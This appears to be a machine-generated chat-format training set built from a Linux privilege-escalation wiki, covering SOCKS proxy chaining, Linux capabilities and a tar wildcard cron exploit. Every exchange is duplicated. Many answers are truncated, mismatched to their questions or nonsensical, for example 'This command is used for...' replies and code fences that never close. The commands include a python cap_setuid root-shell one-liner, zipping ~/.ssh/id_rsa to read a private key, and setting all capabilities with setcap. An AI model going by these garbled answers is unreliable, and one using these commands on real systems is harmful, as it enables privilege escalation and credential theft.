[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do type ip port [user pass]

[Assistant]
socks5 192.168.67.78 1080 lamer secret
socks4 192.168.11.49 1080
http 192.168.89.33 8080 justu hidden
http 192.168.39.93 8080
```

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do type ip port [user pass]

Response:
socks5 192.168.67.78 1080 lamer secret
socks4 192.168.11.49 1080
http 192.168.89.33 8080 justu hidden
http 192.168.39.93 8080
```


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is 🛠 SOCKS proxy - Chaining proxies?

[Assistant]
In certain scenarios, SOCKS proxies can be chained. This can easily be used with proxychains. In the following example, SSH is used to turn compromised machines into SOCKS proxy servers.

![](<./assets/Chained dynamic port forwarding diagram.png>)

![](<./assets/Chained dynamic port forwarding commands SSH.png>)
Setting up the SOCKS proxy servers (with SSH){.caption}

![](<./assets/Chained dynamic port forwarding commands proxychains.png>)
Setting up the SOCKS proxy client (proxychains){.caption}

![](<./assets/Chained dynamic port forwarding commands SOCKS.png>)
Attacking the target through the chain of SOCKS proxies{.caption}

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is 🛠 SOCKS proxy - Chaining proxies?

Response:
In certain scenarios, SOCKS proxies can be chained. This can easily be used with proxychains. In the following example, SSH is used to turn compromised machines into SOCKS proxy servers.

![](<./assets/Chained dynamic port forwarding diagram.png>)

![](<./assets/Chained dynamic port forwarding commands SSH.png>)
Setting up the SOCKS proxy servers (with SSH){.caption}

![](<./assets/Chained dynamic port forwarding commands proxychains.png>)
Setting up the SOCKS proxy client (proxychains){.caption}

![](<./assets/Chained dynamic port forwarding commands SOCKS.png>)
Attacking the target through the chain of SOCKS proxies{.caption}


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 🛠 SOCKS proxy - Chaining proxies

[Assistant]
In certain scenarios, SOCKS proxies can be chained. This can easily be used with proxychains. In the following example, SSH is used to turn compromised machines into SOCKS proxy servers.

![](<./assets/Chained dynamic port forwarding diagram.png>)

![](<./assets/Chained dynamic port forwarding commands SSH.png>)
Setting up the SOCKS proxy servers (with SSH){.caption}

![](<./assets/Chained dynamic port forwarding commands proxychains.png>)
Setting up the SOCKS proxy client (proxychains){.caption}

![](<./assets/Chained dynamic port forwarding commands SOCKS.png>)
Attacking the target through the chain of SOCKS proxies{.caption}

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 🛠 SOCKS proxy - Chaining proxies

Response:
In certain scenarios, SOCKS proxies can be chained. This can easily be used with proxychains. In the following example, SSH is used to turn compromised machines into SOCKS proxy servers.

![](<./assets/Chained dynamic port forwarding diagram.png>)

![](<./assets/Chained dynamic port forwarding commands SSH.png>)
Setting up the SOCKS proxy servers (with SSH){.caption}

![](<./assets/Chained dynamic port forwarding commands proxychains.png>)
Setting up the SOCKS proxy client (proxychains){.caption}

![](<./assets/Chained dynamic port forwarding commands SOCKS.png>)
Attacking the target through the chain of SOCKS proxies{.caption}


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does 🛠 Capabilities - Theory work?

[Assistant]
Linux capabilities are a way to improve permission granularity in unix-like systems. It allows to follow the least-privilege principle by defining fine-grained permissions that can be attributed to threads and files. It works by splitting kernel calls in groups of similar functionalities.

Basic processes : Have no capabilities (file access is controlled by traditional file privileges).

(Binary) files : Can have capabilities (filesystem-dependent).

Capabilities are in separated in 5 sets :

| Set | Description |
| --------------- | ------------------------------------------------------------------------------------------- |
| Effective set | the set that will be used when doing permission check. |
| Permitted set | can be moved to effective set by calling capset() |
| Inheritable set | can be inherited from parent processes, can be moved to effective set by calling capset() |
| Bounding set | list of all the capabilities a process can ever receive (in its inheritable/permitted sets) |
| Ambiant set | passed to non-suid files without defined capabilities |

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Linux capabilities are a way to improve permission granularity in unix-like systems. It allows to follow the least-privilege principle by defining fine-grained permissions that can be attributed to threads and files. It works by splitting kernel calls in groups of similar functionalities.

Basic processes : Have no capabilities (file access is controlled by traditional file privileges).

(Binary) files : Can have capabilities (filesystem-dependent).

Capabilities are in separated in 5 sets :

| Set | Description |
| --------------- | ------------------------------------------------------------------------------------------- |
| Effective set | the set that will be used when doing permission check. |
| Permitted set | can be moved to effective set by calling capset() |
| Inheritable set | can be inherited from parent processes, can be moved to effective set by calling capset() |
| Bounding set | list of all the capabilities a process can ever receive (in its inheritable/permitted sets) |
| Ambiant set | passed to non-suid files without defined capabilities |


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 🛠 Capabilities - Theory

[Assistant]
Linux capabilities are a way to improve permission granularity in unix-like systems. It allows to follow the least-privilege principle by defining fine-grained permissions that can be attributed to threads and files. It works by splitting kernel calls in groups of similar functionalities.

Basic processes : Have no capabilities (file access is controlled by traditional file privileges).

(Binary) files : Can have capabilities (filesystem-dependent).

Capabilities are in separated in 5 sets :

| Set | Description |
| --------------- | ------------------------------------------------------------------------------------------- |
| Effective set | the set that will be used when doing permission check. |
| Permitted set | can be moved to effective set by calling capset() |
| Inheritable set | can be inherited from parent processes, can be moved to effective set by calling capset() |
| Bounding set | list of all the capabilities a process can ever receive (in its inheritable/permitted sets) |
| Ambiant set | passed to non-suid files without defined capabilities |

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 🛠 Capabilities - Theory

Response:
Linux capabilities are a way to improve permission granularity in unix-like systems. It allows to follow the least-privilege principle by defining fine-grained permissions that can be attributed to threads and files. It works by splitting kernel calls in groups of similar functionalities.

Basic processes : Have no capabilities (file access is controlled by traditional file privileges).

(Binary) files : Can have capabilities (filesystem-dependent).

Capabilities are in separated in 5 sets :

| Set | Description |
| --------------- | ------------------------------------------------------------------------------------------- |
| Effective set | the set that will be used when doing permission check. |
| Permitted set | can be moved to effective set by calling capset() |
| Inheritable set | can be inherited from parent processes, can be moved to effective set by calling capset() |
| Bounding set | list of all the capabilities a process can ever receive (in its inheritable/permitted sets) |
| Ambiant set | passed to non-suid files without defined capabilities |


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 🛠 Capabilities - Capability inheritance, capability drop

[Assistant]
* On fork() call, the child thread will have the same capabilities as the parent thread.
* capset() syscall allows to
 * drop any capability from any set
 * move capabilities from permitted/inherited sets to effective set
* If a thread calls execve() on a binary file, its capabilities will be modified following the pattern described in the man pages (see man capabilities).

Non-exhaustive capability list :

| Capability | Description |
| ----------------------- | -------------------------------------------------- |
| CAP_AUDIT_CONTROL | Toggle kernel auditing |
| CAP_AUDIT_WRITE | Write to kernel audit log |
| CAP_CHOWN | Change file owners |
| CAP_SETUID/CAP_SETGID | Change UID/GID |
| CAP_NET_RAW | Open raw and packet sockets |
| CAP_NET_BIND_SERVICE | Bind a socket to Internet domain privileged ports |

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 🛠 Capabilities - Capability inheritance, capability drop

Response:
* On fork() call, the child thread will have the same capabilities as the parent thread.
* capset() syscall allows to
 * drop any capability from any set
 * move capabilities from permitted/inherited sets to effective set
* If a thread calls execve() on a binary file, its capabilities will be modified following the pattern described in the man pages (see man capabilities).

Non-exhaustive capability list :

| Capability | Description |
| ----------------------- | -------------------------------------------------- |
| CAP_AUDIT_CONTROL | Toggle kernel auditing |
| CAP_AUDIT_WRITE | Write to kernel audit log |
| CAP_CHOWN | Change file owners |
| CAP_SETUID/CAP_SETGID | Change UID/GID |
| CAP_NET_RAW | Open raw and packet sockets |
| CAP_NET_BIND_SERVICE | Bind a socket to Internet domain privileged ports |


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for 🛠 Capabilities - Capability inheritance, capability drop

[Assistant]
* On fork() call, the child thread will have the same capabilities as the parent thread.
* capset() syscall allows to
 * drop any capability from any set
 * move capabilities from permitted/inherited sets to effective set
* If a thread calls execve() on a binary file, its capabilities will be modified following the pattern described in the man pages (see man capabilities).

Non-exhaustive capability list :

| Capability | Description |
| ----------------------- | -------------------------------------------------- |
| CAP_AUDIT_CONTROL | Toggle kernel auditing |
| CAP_AUDIT_WRITE | Write to kernel audit log |
| CAP_CHOWN | Change file owners |
| CAP_SETUID/CAP_SETGID | Change UID/GID |
| CAP_NET_RAW | Open raw and packet sockets |
| CAP_NET_BIND_SERVICE | Bind a socket to Internet domain privileged ports |

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for 🛠 Capabilities - Capability inheritance, capability drop

Response:
* On fork() call, the child thread will have the same capabilities as the parent thread.
* capset() syscall allows to
 * drop any capability from any set
 * move capabilities from permitted/inherited sets to effective set
* If a thread calls execve() on a binary file, its capabilities will be modified following the pattern described in the man pages (see man capabilities).

Non-exhaustive capability list :

| Capability | Description |
| ----------------------- | -------------------------------------------------- |
| CAP_AUDIT_CONTROL | Toggle kernel auditing |
| CAP_AUDIT_WRITE | Write to kernel audit log |
| CAP_CHOWN | Change file owners |
| CAP_SETUID/CAP_SETGID | Change UID/GID |
| CAP_NET_RAW | Open raw and packet sockets |
| CAP_NET_BIND_SERVICE | Bind a socket to Internet domain privileged ports |


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 🛠 Capabilities - Practice

[Assistant]
Setting a file's capabilities :

To change capabilities on a file, you need to type these commands as root :

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Setting a file's capabilities :

To change capabilities on a file, you need to type these commands as root :

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for 🛠 Capabilities - Practice

[Assistant]
Setting a file's capabilities :

To change capabilities on a file, you need to type these commands as root :

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for 🛠 Capabilities - Practice

Response:
Setting a file's capabilities :

To change capabilities on a file, you need to type these commands as root :

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about listing & decoding a running process' capabilities

[Assistant]
grep Cap /proc/$pid/status
capsh --decode=000001ffffffffff
``

Exploiting capabilities :

* Empty capabilities

 If a file has capabilities /path/to/file =ep it means it has all capabilities _and_ will run as root.

> [!TIP]
> To create a file with empty (=all) capabilities justsudo setcap \=ep /path/to/file

Other classic examples :

* If the python binary has the cap_setuid then it becomes trivial to get a root shell :

`bash
./python -c "import os; os.setuid(0); os.system('/bin/sh')"
`

* Arbitrary file read : zip with cap_dac_read_search

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about listing & decoding a running process' capabilities

Response:
grep Cap /proc/$pid/status
capsh --decode=000001ffffffffff
``

Exploiting capabilities :

* Empty capabilities

 If a file has capabilities /path/to/file =ep it means it has all capabilities _and_ will run as root.

> [!TIP]
> To create a file with empty (=all) capabilities justsudo setcap \=ep /path/to/file

Other classic examples :

* If the python binary has the cap_setuid then it becomes trivial to get a root shell :

`bash
./python -c "import os; os.setuid(0); os.system('/bin/sh')"
`

* Arbitrary file read : zip with cap_dac_read_search

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for listing & decoding a running process' capabilities?

[Assistant]
grep Cap /proc/$pid/status
capsh --decode=000001ffffffffff
``

Exploiting capabilities :

* Empty capabilities

 If a file has capabilities /path/to/file =ep it means it has all capabilities _and_ will run as root.

> [!TIP]
> To create a file with empty (=all) capabilities justsudo setcap \=ep /path/to/file

Other classic examples :

* If the python binary has the cap_setuid then it becomes trivial to get a root shell :

`bash
./python -c "import os; os.setuid(0); os.system('/bin/sh')"
`

* Arbitrary file read : zip with cap_dac_read_search

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for listing & decoding a running process' capabilities?

Response:
grep Cap /proc/$pid/status
capsh --decode=000001ffffffffff
``

Exploiting capabilities :

* Empty capabilities

 If a file has capabilities /path/to/file =ep it means it has all capabilities _and_ will run as root.

> [!TIP]
> To create a file with empty (=all) capabilities justsudo setcap \=ep /path/to/file

Other classic examples :

* If the python binary has the cap_setuid then it becomes trivial to get a root shell :

`bash
./python -c "import os; os.setuid(0); os.system('/bin/sh')"
`

* Arbitrary file read : zip with cap_dac_read_search

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the Exploiting syntax for listing & decoding a running process' capabilities?

[Assistant]
Exploiting capabilities :

* Empty capabilities

 If a file has capabilities `/path/to/file =ep` it means it has `all` capabilities _and_ will run as `root`.

> [!TIP]
> To create a file with empty (=all) capabilities just`sudo setcap \=ep /path/to/file`

Other classic examples :

* If the `python` binary has the `cap_setuid` then it becomes trivial to get a root shell :

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the Exploiting syntax for listing & decoding a running process' capabilities?

Response:
Exploiting capabilities :

* Empty capabilities

 If a file has capabilities `/path/to/file =ep` it means it has `all` capabilities _and_ will run as `root`.

> [!TIP]
> To create a file with empty (=all) capabilities just`sudo setcap \=ep /path/to/file`

Other classic examples :

* If the `python` binary has the `cap_setuid` then it becomes trivial to get a root shell :


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for listing & decoding a running process' capabilities

[Assistant]
Exploiting capabilities :

* Empty capabilities

 If a file has capabilities `/path/to/file =ep` it means it has `all` capabilities _and_ will run as `root`.

> [!TIP]
> To create a file with empty (=all) capabilities just`sudo setcap \=ep /path/to/file`

Other classic examples :

* If the `python` binary has the `cap_setuid` then it becomes trivial to get a root shell :

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for listing & decoding a running process' capabilities

Response:
Exploiting capabilities :

* Empty capabilities

 If a file has capabilities `/path/to/file =ep` it means it has `all` capabilities _and_ will run as `root`.

> [!TIP]
> To create a file with empty (=all) capabilities just`sudo setcap \=ep /path/to/file`

Other classic examples :

* If the `python` binary has the `cap_setuid` then it becomes trivial to get a root shell :


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Exploiting capabilities :`?

[Assistant] This command is used for listing & decoding a running process' capabilities. listing & decoding a running process' capabilities

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Exploiting capabilities :`?

Response: This command is used for listing & decoding a running process' capabilities. listing & decoding a running process' capabilities


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute listing & decoding a running process' capabilities?

[Assistant] * Arbitrary file read : `zip` with `cap_dac_read_search`

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute listing & decoding a running process' capabilities?

Response: * Arbitrary file read : `zip` with `cap_dac_read_search`


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `* Arbitrary file read : `zip` with `cap_dac_read_search``?

[Assistant] This command is used for listing & decoding a running process' capabilities. listing & decoding a running process' capabilities

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `* Arbitrary file read : `zip` with `cap_dac_read_search``?

Response: This command is used for listing & decoding a running process' capabilities. listing & decoding a running process' capabilities


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about cap_dac_read_search allows zip/tar to read any file (get ssh private key here)

[Assistant]
zip /tmp/private_k.zip ~/.ssh/id_rsa
unzip /tmp/private_k.zip -d /tmp

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about cap_dac_read_search allows zip/tar to read any file (get ssh private key here)

Response:
zip /tmp/private_k.zip ~/.ssh/id_rsa
unzip /tmp/private_k.zip -d /tmp


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for cap_dac_read_search allows zip/tar to read any file (get ssh private key here)

[Assistant]
zip /tmp/private_k.zip ~/.ssh/id_rsa
unzip /tmp/private_k.zip -d /tmp

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for cap_dac_read_search allows zip/tar to read any file (get ssh private key here)

Response:
zip /tmp/private_k.zip ~/.ssh/id_rsa
unzip /tmp/private_k.zip -d /tmp


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain id_rsa is now readable in the unzipped folder

[Assistant]
``

End notes :

When copied from one place to another, a binary will lose its capabilities. In order to keep capabilities, you can copy the file with --preserve=all option :

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain id_rsa is now readable in the unzipped folder

Response:
``

End notes :

When copied from one place to another, a binary will lose its capabilities. In order to keep capabilities, you can copy the file with --preserve=all option :

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on id_rsa is now readable in the unzipped folder

[Assistant]
``

End notes :

When copied from one place to another, a binary will lose its capabilities. In order to keep capabilities, you can copy the file with --preserve=all option :

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on id_rsa is now readable in the unzipped folder

Response:
``

End notes :

When copied from one place to another, a binary will lose its capabilities. In order to keep capabilities, you can copy the file with --preserve=all option :

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the End syntax for id_rsa is now readable in the unzipped folder?

[Assistant]
End notes :

When copied from one place to another, a binary will lose its capabilities. In order to keep capabilities, you can copy the file with `--preserve=all` option :

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the End syntax for id_rsa is now readable in the unzipped folder?

Response:
End notes :

When copied from one place to another, a binary will lose its capabilities. In order to keep capabilities, you can copy the file with `--preserve=all` option :


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do id_rsa is now readable in the unzipped folder

[Assistant]
End notes :

When copied from one place to another, a binary will lose its capabilities. In order to keep capabilities, you can copy the file with `--preserve=all` option :

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do id_rsa is now readable in the unzipped folder

Response:
End notes :

When copied from one place to another, a binary will lose its capabilities. In order to keep capabilities, you can copy the file with `--preserve=all` option :


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `End notes :`?

[Assistant] This command is used for id_rsa is now readable in the unzipped folder. id_rsa is now readable in the unzipped folder

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `End notes :`?

Response: This command is used for id_rsa is now readable in the unzipped folder. id_rsa is now readable in the unzipped folder


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe 🛠 Living off the land - Theory in the context of penetration testing

[Assistant]
Living of the Land is a well known privilege escalation technique, where an attacker will leverage binaries found on the attacked machine to perform a privilege escalation. Indeed, many UNIX programs have options that can be exploited to open a shell. Therefore if we can start the program we exploit as another user, we might be able to open a shell as this user !

Most of the payloads to do this on UNIX programs can be found on gtfobins.github.io.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe 🛠 Living off the land - Theory in the context of penetration testing

Response:
Living of the Land is a well known privilege escalation technique, where an attacker will leverage binaries found on the attacked machine to perform a privilege escalation. Indeed, many UNIX programs have options that can be exploited to open a shell. Therefore if we can start the program we exploit as another user, we might be able to open a shell as this user !

Most of the payloads to do this on UNIX programs can be found on gtfobins.github.io.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 Living off the land - Theory during a pentest?

[Assistant]
Living of the Land is a well known privilege escalation technique, where an attacker will leverage binaries found on the attacked machine to perform a privilege escalation. Indeed, many UNIX programs have options that can be exploited to open a shell. Therefore if we can start the program we exploit as another user, we might be able to open a shell as this user !

Most of the payloads to do this on UNIX programs can be found on gtfobins.github.io.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 Living off the land - Theory during a pentest?

Response:
Living of the Land is a well known privilege escalation technique, where an attacker will leverage binaries found on the attacked machine to perform a privilege escalation. Indeed, many UNIX programs have options that can be exploited to open a shell. Therefore if we can start the program we exploit as another user, we might be able to open a shell as this user !

Most of the payloads to do this on UNIX programs can be found on gtfobins.github.io.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 🛠 Living off the land - Practice?

[Assistant] Here are two case study to better understand the principle of these privilege escalations :

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 🛠 Living off the land - Practice?

Response: Here are two case study to better understand the principle of these privilege escalations :


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 🛠 Living off the land - Practice?

[Assistant] Here are two case study to better understand the principle of these privilege escalations :

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute 🛠 Living off the land - Practice?

Response: Here are two case study to better understand the principle of these privilege escalations :


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does 🛠 Living off the land - Case study 1 : Privesc using tar and a cronjob work?

[Assistant]
Imagine a scenario where a script backups a directory (that we can control) on the server each hour using tar like this :

``
#!/bin/bash

mkdir -p /backups/
cd /var/www/html/ && tar cvzf /backups/backup_$(date +%Y_%m_%d_%Hh%M).tar.gz *
`

Notice this interesting pattern tar czvf file.tar.gz * in the script. This is a security vulnerability because of how UNIX shells handles wildcards. Let's see an example with the ls command :

`
$ ls -lha
total 84K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
$ ls *
file1 file2 file3

$ echo '' > '-lha'
$ ls -lha
total 88K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
-rw-rw-r-- 1 user user 1 avril 27 22:32 -lha
$ ls *
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
`

The shell wildcards are resolved by the shell, and not by the command. This means filenames can be treated as options if they are starting with a -. In our previous example, we added a file called -lha into the folder. When we type ls , the shell replaces the  by all matching files in the current directory, and therefore our command becomes ls file1 file2 file3 -lha. After the wildcard resolution, the shell executes the command with our options.

Now if we get back to our script creating a backup of a directory each our with tar *, we see that tar have legitimate options allowing execution of a program. You can find them here :

* https://gtfobins.github.io/gtfobins/tar/#shell

To use these options in our exploit, we jut need to create these two files in our directory, as well as the exploit.sh file, containing the c

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does 🛠 Living off the land - Case study 1 : Privesc using tar and a cronjob work?

Response:
Imagine a scenario where a script backups a directory (that we can control) on the server each hour using tar like this :

``
#!/bin/bash

mkdir -p /backups/
cd /var/www/html/ && tar cvzf /backups/backup_$(date +%Y_%m_%d_%Hh%M).tar.gz *
`

Notice this interesting pattern tar czvf file.tar.gz * in the script. This is a security vulnerability because of how UNIX shells handles wildcards. Let's see an example with the ls command :

`
$ ls -lha
total 84K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
$ ls *
file1 file2 file3

$ echo '' > '-lha'
$ ls -lha
total 88K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
-rw-rw-r-- 1 user user 1 avril 27 22:32 -lha
$ ls *
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
`

The shell wildcards are resolved by the shell, and not by the command. This means filenames can be treated as options if they are starting with a -. In our previous example, we added a file called -lha into the folder. When we type ls , the shell replaces the  by all matching files in the current directory, and therefore our command becomes ls file1 file2 file3 -lha. After the wildcard resolution, the shell executes the command with our options.

Now if we get back to our script creating a backup of a directory each our with tar *, we see that tar have legitimate options allowing execution of a program. You can find them here :

* https://gtfobins.github.io/gtfobins/tar/#shell

To use these options in our exploit, we jut need to create these two files in our directory, as well as the exploit.sh file, containing the c


